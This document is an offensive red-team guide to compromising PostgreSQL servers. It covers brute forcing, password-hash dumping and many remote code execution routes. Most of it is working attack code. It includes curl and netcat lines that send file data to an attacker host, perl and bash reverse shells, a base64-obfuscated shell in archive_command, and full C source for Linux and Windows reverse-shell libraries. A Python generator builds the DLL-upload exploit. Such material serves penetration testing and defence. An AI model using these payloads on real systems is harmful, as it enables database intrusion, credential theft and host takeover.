Postgresql - PORT 5432,5433

Basic info

PostgreSQL is one of the most widely deployed open-source relational databases. By default, it listens on TCP port 5432. If that port is already in use, PostgreSQL often binds to 5433.

For a red teamer, both ports are high-value reconnaissance targets. PostgreSQL is frequently misconfigured, exposed to the internet, or deployed with weak authentication. Once inside, its deep integration with the underlying OS provides direct paths to privilege escalation and remote code execution (RCE).

This guide dives into discovery, exploitation, privilege escalation, and post-exploitation techniques, tailored for offensive operators and red team professionals.


Enumeration

Service Fingerprinting

# Basic port scan
nmap -sV -p 5432,5433 <target>

# Nmap NSE script for PostgreSQL
nmap -p 5432 --script=pgsql-brute,pgsql-databases,pgsql-info <target>

Look for:

  • Version (PostgreSQL has had multiple RCE and auth bypass CVEs).

  • Whether both 5432 and 5433 are open → multiple clusters or fallback instances.

Manual Connection

# Try direct connection
psql -h <target-ip> -p 5432 -U postgres

If a password prompt appears, the service is reachable and authenticating.

Automated enumeration

MSF console

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Beyond traditional tools like nmap, PostgreSQL itself can be abused for port scanning using the dblink extension. When attempting to connect to remote hosts via dblink_connect, PostgreSQL throws detailed error messages that reveal the state of the target port.

For example:

SELECT * FROM dblink_connect(
    'host=1.2.3.4
     port=5678
     user=name
     password=secret
     dbname=abc
     connect_timeout=10'
);

Depending on the response, an attacker can infer network conditions:

  • Host down

    DETAIL: could not connect to server: No route to host
  • Port closed

    DETAIL: could not connect to server: Connection refused
  • Port open (authentication fails)

    DETAIL: FATAL: password authentication failed for user "name"
  • Port open or filtered (timeout)

    DETAIL: could not connect to server: Connection timed out

Although PL/pgSQL functions cannot capture these exceptions directly, an attacker with database access can run dblink queries manually to fingerprint internal networks. When combined with wordlist attacks against PostgreSQL system tables (e.g., pg_shadow), this technique can uncover both live services and valid credentials, making it a valuable red team tactic for lateral movement.


Enumeration of Privileges

Once credentials are obtained, understanding roles and privileges is critical for identifying escalation paths. In PostgreSQL, users, groups, and roles are essentially the same concept—what matters is whether they can log in and what privileges they inherit.

Role Types

  • rolsuper → Superuser privileges (full control).

  • rolinherit → Inherits privileges of roles it belongs to.

  • rolcreaterole → Can create additional roles.

  • rolcreatedb → Can create databases.

  • rolcanlogin → Login-enabled role (acts like a user).

  • rolreplication → Can initiate replication and manage replication slots.

  • rolconnlimit → Connection limit (-1 = unlimited).

  • rolvaliduntil → Password expiry date.

  • rolbypassrls → Bypasses row-level security.

  • rolconfig → Role-specific runtime configs.

Interesting Groups

Membership in certain groups allows direct OS interaction:

  • pg_execute_server_program → Run OS commands with COPY FROM PROGRAM.

  • pg_read_server_files → Read arbitrary files.

  • pg_write_server_files → Write files to disk.

💡 Red team tip: Chaining pg_read_server_files + pg_write_server_files can often lead to config file tampering → RCE.

Role & Group Enumeration

-- List roles
\du

-- Detailed role enumeration with memberships
SELECT
    r.rolname,
    r.rolsuper,
    r.rolinherit,
    r.rolcreaterole,
    r.rolcreatedb,
    r.rolcanlogin,
    r.rolbypassrls,
    r.rolconnlimit,
    r.rolvaliduntil,
    r.oid,
    ARRAY(SELECT b.rolname
          FROM pg_catalog.pg_auth_members m
          JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
          WHERE m.member = r.oid) as memberof,
    r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

-- Check if current user is superuser
SELECT current_setting('is_superuser');

Role Manipulation

-- Try to escalate privileges (if you have CREATEROLE or higher)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";

-- Create new role and assign to group
CREATE ROLE u LOGIN PASSWORD 'pwned123' IN GROUP pg_read_server_files;

⚠️ Attempting privilege escalation often fails if you are not already in the target group or a superuser. But on misconfigured systems, this is a direct privesc vector.

Table Privileges

-- List table owners
SELECT schemaname, tablename, tableowner FROM pg_tables;

-- Tables owned by postgres
SELECT schemaname, tablename, tableowner FROM pg_tables WHERE tableowner = 'postgres';

-- Check your permissions on pg_shadow
SELECT grantee, table_schema, table_name, privilege_type
FROM information_schema.role_table_grants
WHERE table_name='pg_shadow';

Function Enumeration

Functions in pg_catalog often enable file or command interaction:

-- List functions
\df *

-- Search by keyword
\df *pg_ls*

-- Check access to sensitive functions
\df+ pg_read_binary_file

-- Enumerate schema routines
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters
    ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

-- Alternative: dump all functions
SELECT * FROM pg_proc;

🔑 Why this matters: Identifying roles, groups, and functions often reveals a hidden escalation path—for example, a non-superuser role with membership in pg_execute_server_program is essentially equivalent to OS-level RCE.


Authentication Attacks

Brute Force

# Hydra
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres

# Metasploit
msfconsole
use auxiliary/scanner/postgres/postgres_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

# Medusa 
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres

# Ncrack
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432

# Patator
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt

# Nmap
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>

# Legba
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432

Default creds

postgres:postgres
postgres:password
postgres:1234

Post-Authentication Enumeration

Once valid credentials are obtained, start deep enumeration:

# Current user and roles
SELECT user;
\du+

# List databases and tables
\c <database> # use the database
\d # List tables
\l
\d

# Grab credentials
SELECT usename, passwd FROM pg_shadow;

# List installed extensions (potential abuse)
SELECT * FROM pg_extension;

# Filesystem location
SHOW data_directory;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

Extracted password hashes can be cracked with Hashcat or John.

Exploitation

File Read

-- Read /etc/passwd
CREATE TABLE loot(data text);
COPY loot FROM '/etc/passwd';
SELECT * FROM loot;

Remember that if you aren't super user but has the CREATEROLE permissions you can make yourself member of that group:

GRANT pg_read_server_files TO username;

There are other postgres functions that can be used to read file or list a directory. Only superusers and users with explicit permissions can use them:

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

You can find more functions in https://www.postgresql.org/docs/current/functions-admin.html

File Write

# Write arbitrary file (requires pg_write_server_files)
COPY (SELECT 'owned by redteam') TO '/tmp/redteam.txt';

# Only super users and members of pg_write_server_files can use copy to write files.

COPY (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

Updating PostgreSQL Table Data via Local File Write (Filenode Abuse)

If a PostgreSQL role has read and write access to server files, an attacker can directly modify filenodes in the PostgreSQL data directory to overwrite table contents, escalate privileges, or even become a superuser. This technique is particularly powerful in constrained SQLi contexts, since it relies on database-native functions (lo_import, lo_export) rather than direct shell commands.

Attack Flow

1. Identify Data Directory

SELECT setting FROM pg_settings WHERE name = 'data_directory';

If unavailable, extract the version:

SELECT version();

and brute-force the directory path. Typical paths:

/var/lib/postgresql/<MAJOR_VERSION>/main/
/var/lib/postgresql/data/

2. Get Target Table Filenode Path

SELECT pg_relation_filepath('{TABLE_NAME}');

Returns something like:

base/3/1337

→ Full path: /var/lib/postgresql/13/main/base/3/1337

3. Dump the Filenode with lo_import

SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337);

4. Extract Table Datatypes

SELECT STRING_AGG(
    CONCAT_WS(',', attname, typname, attlen, attalign), ';'
)
FROM pg_attribute
JOIN pg_type ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';

5. Modify Filenode

Use PostgreSQL Filenode Editor to edit role flags:

python3 postgresql_filenode_editor.py -f {FILENODE} \
    --datatype-csv {DATATYPE_CSV_FROM_STEP_4} \
    -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

Set all rol* flags to 1 (true) to escalate privileges.

6. Re-Upload Edited Filenode

-- Re-import the modified filenode
SELECT lo_from_bytea(13338, decode('{BASE64_ENCODED_EDITED_FILENODE}', 'base64'));

-- Overwrite the original
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}');

7. Clear Cache (Optional)

SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea);

After this, the modified table values take effect.

  • Any role data (passwords, privileges) can be manipulated offline.

  • Attackers can set themselves as superuser by editing pg_authid.

  • This effectively bypasses SQL privilege checks — the DB trusts the modified file.

Command Execution

Since PostgreSQL 9.3, the database introduced the ability to use COPY FROM PROGRAM for interacting with the operating system. By design, this is only available to superusers or members of the pg_execute_server_program role. But from a red team perspective, this feature is effectively a built-in RCE primitive.

1. Exfiltration Example

-- Exfiltrate local file listing via curl
'; COPY (SELECT '') TO PROGRAM 'curl http://ATTACKER-SERVER?f=`ls -l | base64`' -- -

This abuses COPY to spawn a shell command that sends file data back to a controlled server.


2. Proof-of-Concept Command Execution

# Create a table to hold command output
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);

# Run "id" on the host OS
COPY cmd_exec FROM PROGRAM 'id';

# Retrieve output
SELECT * FROM cmd_exec;

# Cleanup
DROP TABLE IF EXISTS cmd_exec;

3. Reverse Shell Payload

-- Note the need to escape single quotes by doubling them
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);
$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");
STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

Once executed, this will connect back to the attacker’s listener (nc -lvnp 80) and provide an interactive shell.


4. Escalation with CREATEROLE

If you don’t already have the pg_execute_server_program privilege, but do have CREATEROLE, you can grant it to yourself:

GRANT pg_execute_server_program TO username;

This often turns what looks like a restricted user into a full OS-level RCE capability.


5. Metasploit Automation

Metasploit includes a ready-made module for this technique:

use multi/postgres/postgres_copy_from_program_cmd_exec
set RHOSTS <target>
set USERNAME postgres
set PASSWORD postgres
run

RCE techniques

RCE to program

Since version 9.3, only super users and member of the group pg_execute_server_program can use copy for RCE (example with exfiltration:

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

Example to exec:

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

Or use the multi/postgres/postgres_copy_from_program_cmd_exec module from metasploit. More information about this vulnerability here. While reported as CVE-2019-9193, Postges declared this was a feature and will not be fixed.

Privilege Escalation (CREATEROLE Abuse)

-- Grant yourself dangerous roles
GRANT pg_execute_server_program TO <username>;
GRANT pg_read_server_files TO <username>;
GRANT pg_write_server_files TO <username>;

RCE via Extensions

PostgreSQL has been developed with extensibility as a core feature, allowing it to seamlessly integrate extensions as if they were built-in functionalities. These extensions, essentially libraries written in C, enrich the database with additional functions, operators, or types.

From version 8.1 onwards, a specific requirement is imposed on the extension libraries: they must be compiled with a special header. Without this, PostgreSQL will not execute them, ensuring only compatible and potentially secure extensions are used.

RCE in Linux

For more information check: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

The execution of system commands from PostgreSQL 8.1 and earlier versions is a process that has been clearly documented and is straightforward. It's possible to use this: Metasploit module.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;

Write binary file using base64

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
    $$
    DECLARE
        fh int;
        s int;
        w bytea;
        i int;
    BEGIN
        SELECT open(textout(file)::cstring, 522, 448) INTO fh;

        IF fh <= 2 THEN
            RETURN 1;
        END IF;

        SELECT decode(s, 'base64') INTO w;

        i := 0;
        LOOP
            EXIT WHEN i >= octet_length(w);

            SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

            IF rs < 0 THEN
                RETURN 2;
            END IF;

            i := i + 1;
        END LOOP;

        SELECT close(fh) INTO rs;

        RETURN 0;

    END;
    $$ LANGUAGE 'plpgsql';

However, when attempted on greater versions the following error was shown:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

This error is explained in the PostgreSQL documentation:

To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a “magic block” with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header fmgr.h:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

Since PostgreSQL version 8.2, the process for an attacker to exploit the system has been made more challenging. The attacker is required to either utilize a library that is already present on the system or to upload a custom library. This custom library must be compiled against the compatible major version of PostgreSQL and must include a specific "magic block". This measure significantly increases the difficulty of exploiting PostgreSQL systems, as it necessitates a deeper understanding of the system's architecture and version compatibility.

Compile the library

Get the PsotgreSQL version with:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

For compatibility, it is essential that the major versions align. Therefore, compiling a library with any version within the 9.6.x series should ensure successful integration.

To install that version in your system:

apt install postgresql postgresql-server-dev-9.6

And compile the library:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
    char* command = PG_GETARG_CSTRING(0);
    PG_RETURN_INT32(system(command));
}

Then upload the compiled library and execute commands with:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

You can find this library precompiled to several different PostgreSQL versions and even can automate this process (if you have PostgreSQL access) with pgexec.


RCE in Windows

The following DLL takes as input the name of the binary and the number of times you want to execute it and executes it:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
    /* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

    /* retrieve the second argument that is passed to the function (an integer)
    that will serve as our counter limit*/

    int instances = PG_GETARG_INT32(1);

    for (int c = 0; c < instances; c++) {
        /*launch the process passed in the first parameter*/
        ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
    }
    PG_RETURN_VOID();
}

You can find the DLL compiled in this zip:

You can indicate to this DLL which binary to execute and the number of time to execute it, in this example it will execute calc.exe 2 times:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

In here you can find this reverse-shell:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
                    _In_ DWORD fdwReason,
                    _In_ LPVOID lpvReserved)
{
    WSADATA wsaData;
    SOCKET wsock;
    struct sockaddr_in server;
    char ip_addr[16];
    STARTUPINFOA startupinfo;
    PROCESS_INFORMATION processinfo;

    char *program = "cmd.exe";
    const char *ip = PG_REVSHELL_CALLHOME_SERVER;
    u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

    WSAStartup(MAKEWORD(2, 2), &wsaData);
    wsock = WSASocket(AF_INET, SOCK_STREAM,
                      IPPROTO_TCP, NULL, 0, 0);

    struct hostent *host;
    host = gethostbyname(ip);
    strcpy_s(ip_addr, sizeof(ip_addr),
             inet_ntoa(*((struct in_addr *)host->h_addr)));

    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = inet_addr(ip_addr);

    WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
              NULL, NULL, NULL, NULL);

    memset(&startupinfo, 0, sizeof(startupinfo));
    startupinfo.cb = sizeof(startupinfo);
    startupinfo.dwFlags = STARTF_USESTDHANDLES;
    startupinfo.hStdInput = startupinfo.hStdOutput =
                            startupinfo.hStdError = (HANDLE)wsock;

    CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
                  NULL, NULL, &startupinfo, &processinfo);

    return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
    int32 arg = PG_GETARG_INT32(0);

    PG_RETURN_INT32(arg + 1);
}

Note how in this case the malicious code is inside the DllMain function. This means that in this case it isn't necessary to execute the loaded function in postgresql, just loading the DLL will execute the reverse shell:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

The PolyUDF project is also a good starting point with the full MS Visual Studio project and a ready to use library (including: command eval, exec and cleanup) with multiversion support.

RCE in newest Prostgres versions

In the latest versions of PostgreSQL, restrictions have been imposed where the superuser is prohibited from loading shared library files except from specific directories, such as C:\Program Files\PostgreSQL\11\lib on Windows or /var/lib/postgresql/11/lib on *nix systems. These directories are secured against write operations by either the NETWORK_SERVICE or postgres accounts.

Despite these restrictions, it's possible for an authenticated database superuser to write binary files to the filesystem using "large objects." This capability extends to writing within the C:\Program Files\PostgreSQL\11\data directory, which is essential for database operations like updating or creating tables.

A significant vulnerability arises from the CREATE FUNCTION command, which permits directory traversal into the data directory. Consequently, an authenticated attacker could exploit this traversal to write a shared library file into the data directory and then load it. This exploit enables the attacker to execute arbitrary code, achieving native code execution on the system.

Attack flow

First of all you need to use large objects to upload the dll.

PostgreSQL Large Objects

PostgreSQL offers a structure known as large objects, accessible via the pg_largeobject table, designed for storing large data types, such as images or PDF documents. This approach is advantageous over the COPY TO function as it enables the exportation of data back to the file system, ensuring an exact replica of the original file is maintained.

For storing a complete file within this table, an object must be created in the pg_largeobject table (identified by a LOID), followed by the insertion of data chunks, each 2KB in size, into this object. It is crucial that these chunks are exactly 2KB in size (with the possible exception of the last chunk) to ensure the exporting function performs correctly.

To divide your binary data into 2KB chunks, the following commands can be executed:

split -b 2048 your_file # Creates 2KB sized files

For encoding each file into Base64 or Hex, the commands below can be used:

base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

Important: When automating this process, ensure to send chunks of 2KB of clear-text bytes. Hex encoded files will require 4KB of data per chunk due to doubling in size, while Base64 encoded files follow the formula ceil(n / 3) * 4.

The contents of the large objects can be viewed for debugging purposes using:

select loid, pageno, encode(data, 'escape') from pg_largeobject;

Using lo_creat & Base64

To store binary data, a LOID is first created:

SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID

In situations requiring precise control, such as exploiting a Blind SQL Injection, lo_create is preferred for specifying a fixed LOID.

Data chunks can then be inserted as follows:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

To export and potentially delete the large object after use:

SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454);  -- Deletes the specified large object

Using lo_import & Hex

The lo_import function can be utilized to create and specify a LOID for a large object:

select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);

Following object creation, data is inserted per page, ensuring each chunk does not exceed 2KB:

update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

To complete the process, the data is exported and the large object is deleted:

select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object

Limitations

It's noted that large objects may have ACLs (Access Control Lists), potentially restricting access even to objects created by your user. However, older objects with permissive ACLs may still be accessible for content exfiltration.

Once you have uploaded the extension (with the name of poc.dll for this example) to the data directory you can load it with:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Note that you don't need to append the .dll extension as the create function will add it.

For more information read the original publication here. In that publication this was the code use to generate the postgres extension (to learn how to compile a postgres extension read any of the previous versions). In the same page this exploit to automate this technique was given:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
    print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
    print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
    sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
    d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
    start = i * 2048
    end   = (i+1) * 2048
    if i == 0:
        sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
    else:
        sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
    end   = (i+1) * 2048
    sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
    sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

PostgreSQL configuration file RCE

The configuration file of PostgreSQL is writable by the postgres user, which is the one running the database, so as superuser, you can write files in the filesystem, and therefore you can overwrite this file.

-- Overwrite SSL passphrase command with a reverse shell
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.5/9001 0>&1"'
SELECT pg_reload_conf();

RCE with ssl_passphrase_command

More information about this technique here.

The configuration file have some interesting attributes that can lead to RCE:

  • ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' Path to the private key of the database

  • ssl_passphrase_command = '' If the private file is protected by password (encrypted) postgresql will execute the command indicated in this attribute.

  • ssl_passphrase_command_supports_reload = off If this attribute is on the command executed if the key is protected by password will be executed when pg_reload_conf() is executed.

Then, an attacker will need to:

  1. Dump private key from the server

  2. Encrypt downloaded private key:

    1. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key

  3. Overwrite

  4. Dump the current postgresql configuration

  5. Overwrite the configuration with the mentioned attributes configuration:

    1. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'

    2. ssl_passphrase_command_supports_reload = on

  6. Execute pg_reload_conf()

While testing this I noticed that this will only work if the private key file has privileges 640, it's owned by root and by the group ssl-cert or postgres (so the postgres user can read it), and is placed in /var/lib/postgresql/12/main.

RCE with archive_command

Another attribute in the configuration file that is exploitable is archive_command.

For this to work, the archive_mode setting has to be 'on' or 'always'. If that is true, then we could overwrite the command in archive_command and force it to execute via the WAL (write-ahead logging) operations.

The general steps are:

  1. Check whether archive mode is enabled: SELECT current_setting('archive_mode')

  2. Overwrite archive_command with the payload. For eg, a reverse shell: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'

  3. Reload the config: SELECT pg_reload_conf()

  4. Force the WAL operation to run, which will call the archive command: SELECT pg_switch_wal() or SELECT pg_switch_xlog() for some Postgres versions

RCE with preload libraries

More information about this technique here.

This attack vector takes advantage of the following configuration variables:

  • session_preload_libraries -- libraries that will be loaded by the PostgreSQL server at the client connection.

  • dynamic_library_path -- list of directories where the PostgreSQL server will search for the libraries.

We can set the dynamic_library_path value to a directory, writable by the postgres user running the database, e.g., /tmp/ directory, and upload a malicious .so object there. Next, we will force the PostgreSQL server to load our newly uploaded library by including it in the session_preload_libraries variable.

The attack steps are:

  1. Download the original postgresql.conf

  2. Include the /tmp/ directory in the dynamic_library_path value, e.g. dynamic_library_path = '/tmp:$libdir'

  3. Include the malicious library name in the session_preload_libraries value, e.g. session_preload_libraries = 'payload.so'

  4. Check major PostgreSQL version via the SELECT version() query

  5. Compile the malicious library code with the correct PostgreSQL dev package Sample code:

    #include <stdio.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include "postgres.h"
    #include "fmgr.h"
    
    #ifdef PG_MODULE_MAGIC
    PG_MODULE_MAGIC;
    #endif
    
    void _init() {
       /*
           code taken from https://www.revshells.com/
       */
    
       int port = REVSHELL_PORT;
       struct sockaddr_in revsockaddr;
    
       int sockt = socket(AF_INET, SOCK_STREAM, 0);
       revsockaddr.sin_family = AF_INET;
       revsockaddr.sin_port = htons(port);
       revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
    
       connect(sockt, (struct sockaddr *) &revsockaddr,
       sizeof(revsockaddr));
       dup2(sockt, 0);
       dup2(sockt, 1);
       dup2(sockt, 2);
    
       char * const argv[] = {"/bin/bash", NULL};
       execve("/bin/bash", argv, NULL);
    }

    Compiling the code:

     gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
  6. Upload the malicious postgresql.conf, created in steps 2-3, and overwrite the original one

  7. Upload the payload.so from step 5 to the /tmp directory

  8. Reload the server configuration by restarting the server or invoking the SELECT pg_reload_conf() query

  9. At the next DB connection, you will receive the reverse shell connection.

RCE with PostgreSQL Languages

PostgreSQL Languages

The PostgreSQL database you got access to may have different scripting languages installed that you could abuse to execute arbitrary code.

You can get them running:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Most of the scripting languages you can install in PostgreSQL have 2 flavours: the trusted and the untrusted. The untrusted will have a name ended in "u" and will be the version that will allow you to execute code and use other interesting functions. This are languages that if installed are interesting:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (any other programming language using an insecure version)

